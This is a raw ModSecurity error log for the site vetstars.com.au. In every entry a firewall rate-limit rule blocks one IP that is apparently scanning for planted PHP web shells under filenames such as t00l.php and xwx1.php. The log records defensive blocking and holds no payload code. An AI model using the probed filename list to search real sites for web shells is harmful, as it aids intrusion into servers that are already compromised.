[Thu Apr 23 23:10:16.790464 2026] [:error] [pid 42972:tid 43037] [client 51.103.174.167:42199] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeo2WMOAb-3sOknsk4dkIwAAAFU"]
[Thu Apr 23 23:10:18.484711 2026] [:error] [pid 43083:tid 43109] [client 51.103.174.167:29930] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeo2WjC5hrvNXosL83KJLgAAANg"]
[Thu Apr 23 23:10:19.648133 2026] [:error] [pid 59700:tid 59723] [client 51.103.174.167:40779] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeo2W5XyGZJFeAIDWtk_owAAAVU"]
[Thu Apr 23 23:10:23.056599 2026] [:error] [pid 42972:tid 43023] [client 51.103.174.167:56009] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeo2X8OAb-3sOknsk4dkLAAAAEc"]
[Thu Apr 23 23:10:25.279280 2026] [:error] [pid 64998:tid 65006] [client 51.103.174.167:39543] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeo2YYV5EysYcTLjmwivOgAAAcQ"]
[Thu Apr 23 23:10:26.571280 2026] [:error] [pid 42972:tid 43020] [client 51.103.174.167:52784] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeo2YsOAb-3sOknsk4dkPgAAAEQ"]
[Thu Apr 23 23:11:17.845791 2026] [:error] [pid 65000:tid 65050] [client 51.103.174.167:28632] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aeo2lb6vRb9j6psK2ZbR6gAAAhE"]
[Thu Apr 23 23:11:21.103043 2026] [:error] [pid 64967:tid 64990] [client 51.103.174.167:36123] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aeo2mYAV4GfOOdX8QzqBvwAAAZU"]
[Thu Apr 23 23:11:24.062563 2026] [:error] [pid 46953:tid 46970] [client 51.103.174.167:36157] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aeo2nEnlpdHh-P6wKbpNCwAAAk4"]
[Thu Apr 23 23:11:25.955001 2026] [:error] [pid 25635:tid 25641] [client 51.103.174.167:52109] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aeo2ncRxv6UsgRGKB3I9QgAAAQI"]
[Thu Apr 23 23:11:28.051948 2026] [:error] [pid 59700:tid 59719] [client 51.103.174.167:28841] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "aeo2oJXyGZJFeAIDWtk_7wAAAVE"]
[Thu Apr 23 23:11:31.640008 2026] [:error] [pid 42973:tid 43048] [client 51.103.174.167:41426] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "aeo2o26I0QqmmmLTHE06ZQAAAIU"]
[Thu Apr 23 23:11:35.153374 2026] [:error] [pid 42971:tid 43010] [client 51.103.174.167:42638] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "aeo2pzEP2_5RswrH8bE3qgAAABg"]
[Thu Apr 23 23:11:46.010794 2026] [:error] [pid 65000:tid 65038] [client 51.103.174.167:37883] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "aeo2sr6vRb9j6psK2ZbSJAAAAgU"]
[Thu Apr 23 23:11:47.038457 2026] [:error] [pid 43083:tid 43109] [client 51.103.174.167:5613] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "aeo2szC5hrvNXosL83KJTwAAANg"]
[Thu Apr 23 23:11:48.252927 2026] [:error] [pid 64998:tid 65006] [client 51.103.174.167:38686] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "aeo2tIV5EysYcTLjmwiwfQAAAcQ"]
[Thu Apr 23 23:11:49.155320 2026] [:error] [pid 42973:tid 43055] [client 51.103.174.167:55359] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "aeo2tW6I0QqmmmLTHE06cQAAAIw"]
[Thu Apr 23 23:11:50.012553 2026] [:error] [pid 59700:tid 59714] [client 51.103.174.167:55342] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeo2tpXyGZJFeAIDWtlACgAAAUw"]
[Thu Apr 23 23:11:51.517625 2026] [:error] [pid 42971:tid 43005] [client 51.103.174.167:5314] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeo2tzEP2_5RswrH8bE3rQAAABM"]
[Thu Apr 23 23:11:52.357320 2026] [:error] [pid 46953:tid 46962] [client 51.103.174.167:5495] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeo2uEnlpdHh-P6wKbpNQQAAAkY"]
[Thu Apr 23 23:11:53.017416 2026] [:error] [pid 65000:tid 65055] [client 51.103.174.167:52082] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeo2ub6vRb9j6psK2ZbSPAAAAhY"]
[Thu Apr 23 23:11:54.013750 2026] [:error] [pid 43083:tid 43088] [client 51.103.174.167:52079] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "aeo2ujC5hrvNXosL83KJVQAAAMM"]
[Thu Apr 23 23:11:54.739185 2026] [:error] [pid 43083:tid 43085] [client 51.103.174.167:39082] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "aeo2ujC5hrvNXosL83KJVgAAAMA"]
[Thu Apr 23 23:11:57.160976 2026] [:error] [pid 59700:tid 59702] [client 51.103.174.167:61427] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "aeo2vZXyGZJFeAIDWtlACwAAAUA"]
[Thu Apr 23 23:11:59.052255 2026] [:error] [pid 64998:tid 65019] [client 51.103.174.167:51640] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "aeo2v4V5EysYcTLjmwiwlAAAAdE"]
[Thu Apr 23 23:11:59.940353 2026] [:error] [pid 42973:tid 43057] [client 51.103.174.167:38704] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casp1.php"] [unique_id "aeo2v26I0QqmmmLTHE06gAAAAI4"]
[Thu Apr 23 23:12:01.875711 2026] [:error] [pid 42972:tid 43019] [client 51.103.174.167:61420] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casp1.php"] [unique_id "aeo2wcOAb-3sOknsk4dkmgAAAEM"]
[Thu Apr 23 23:12:03.746933 2026] [:error] [pid 64998:tid 65006] [client 51.103.174.167:5427] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casp1.php"] [unique_id "aeo2w4V5EysYcTLjmwiwnwAAAcQ"]
[Thu Apr 23 23:12:06.676725 2026] [:error] [pid 25635:tid 25642] [client 51.103.174.167:38162] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casp1.php"] [unique_id "aeo2xsRxv6UsgRGKB3I9TgAAAQM"]
[Thu Apr 23 23:12:09.125111 2026] [:error] [pid 42972:tid 43034] [client 51.103.174.167:38705] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aeo2ycOAb-3sOknsk4dkngAAAFI"]
[Thu Apr 23 23:12:10.090194 2026] [:error] [pid 42971:tid 42994] [client 51.103.174.167:32167] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aeo2yjEP2_5RswrH8bE3wAAAAAg"]
[Thu Apr 23 23:12:11.491353 2026] [:error] [pid 43083:tid 43102] [client 51.103.174.167:51595] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aeo2yzC5hrvNXosL83KJZQAAANE"]
[Thu Apr 23 23:12:12.565481 2026] [:error] [pid 42971:tid 42997] [client 51.103.174.167:61401] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aeo2zDEP2_5RswrH8bE3wwAAAAs"]
[Thu Apr 23 23:12:14.205347 2026] [:error] [pid 64967:tid 64990] [client 51.103.174.167:38693] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aeo2zoAV4GfOOdX8QzqB2gAAAZU"]
[Thu Apr 23 23:13:03.785496 2026] [:error] [pid 42973:tid 43047] [client 51.103.174.167:41146] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeo2_26I0QqmmmLTHE061AAAAIQ"]
[Thu Apr 23 23:13:06.715752 2026] [:error] [pid 64998:tid 65004] [client 51.103.174.167:37421] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeo3AoV5EysYcTLjmwixVgAAAcI"]
[Thu Apr 23 23:13:07.828961 2026] [:error] [pid 64967:tid 64972] [client 51.103.174.167:41112] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeo3A4AV4GfOOdX8QzqB6QAAAYM"]
[Thu Apr 23 23:13:12.088074 2026] [:error] [pid 65000:tid 65054] [client 51.103.174.167:5455] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeo3CL6vRb9j6psK2ZbSdAAAAhU"]
[Thu Apr 23 23:13:13.248809 2026] [:error] [pid 65000:tid 65052] [client 51.103.174.167:45876] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prosellers8.php"] [unique_id "aeo3Cb6vRb9j6psK2ZbSeAAAAhM"]
[Thu Apr 23 23:13:13.946608 2026] [:error] [pid 43083:tid 43096] [client 51.103.174.167:29584] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prosellers8.php"] [unique_id "aeo3CTC5hrvNXosL83KJigAAAMs"]
[Thu Apr 23 23:13:14.603560 2026] [:error] [pid 64998:tid 65017] [client 51.103.174.167:38203] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prosellers8.php"] [unique_id "aeo3CoV5EysYcTLjmwixcgAAAc8"]
[Thu Apr 23 23:13:15.570742 2026] [:error] [pid 65000:tid 65056] [client 51.103.174.167:38199] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prosellers8.php"] [unique_id "aeo3C76vRb9j6psK2ZbSfgAAAhc"]
[Thu Apr 23 23:13:16.535015 2026] [:error] [pid 65000:tid 65037] [client 51.103.174.167:34284] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aeo3DL6vRb9j6psK2ZbSgwAAAgQ"]
[Thu Apr 23 23:13:19.032377 2026] [:error] [pid 25635:tid 25645] [client 51.103.174.167:41099] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aeo3D8Rxv6UsgRGKB3I9XwAAAQY"]
[Thu Apr 23 23:13:23.850448 2026] [:error] [pid 65000:tid 65043] [client 51.103.174.167:51594] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aeo3E76vRb9j6psK2ZbSlAAAAgo"]
[Thu Apr 23 23:13:27.075395 2026] [:error] [pid 65000:tid 65051] [client 51.103.174.167:51598] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aeo3F76vRb9j6psK2ZbSoQAAAhI"]
[Thu Apr 23 23:13:28.962302 2026] [:error] [pid 65000:tid 65040] [client 51.103.174.167:29593] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "aeo3GL6vRb9j6psK2ZbSpgAAAgc"]
[Thu Apr 23 23:13:30.190177 2026] [:error] [pid 42972:tid 43034] [client 51.103.174.167:45191] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "aeo3GsOAb-3sOknsk4dk9gAAAFI"]
[Thu Apr 23 23:13:31.134173 2026] [:error] [pid 65000:tid 65056] [client 51.103.174.167:36943] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "aeo3G76vRb9j6psK2ZbSrQAAAhc"]
[Thu Apr 23 23:13:32.079730 2026] [:error] [pid 65000:tid 65045] [client 51.103.174.167:41119] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "aeo3HL6vRb9j6psK2ZbSsAAAAgw"]
[Thu Apr 23 23:13:33.082973 2026] [:error] [pid 64998:tid 65017] [client 51.103.174.167:61381] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsjzs.php"] [unique_id "aeo3HYV5EysYcTLjmwixkAAAAc8"]
[Thu Apr 23 23:13:34.281580 2026] [:error] [pid 65000:tid 65054] [client 51.103.174.167:61427] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsjzs.php"] [unique_id "aeo3Hr6vRb9j6psK2ZbSvwAAAhU"]
[Thu Apr 23 23:13:36.160700 2026] [:error] [pid 65000:tid 65031] [client 51.103.174.167:5722] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsjzs.php"] [unique_id "aeo3IL6vRb9j6psK2ZbSwwAAAgI"]
[Thu Apr 23 23:13:39.615076 2026] [:error] [pid 43083:tid 43090] [client 51.103.174.167:45850] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsjzs.php"] [unique_id "aeo3IzC5hrvNXosL83KJlAAAAMU"]
[Thu Apr 23 23:13:41.539523 2026] [:error] [pid 64967:tid 64981] [client 51.103.174.167:5704] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aeo3JYAV4GfOOdX8QzqB9AAAAYw"]
[Thu Apr 23 23:13:43.038901 2026] [:error] [pid 64967:tid 64987] [client 51.103.174.167:60773] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aeo3J4AV4GfOOdX8QzqB9wAAAZI"]
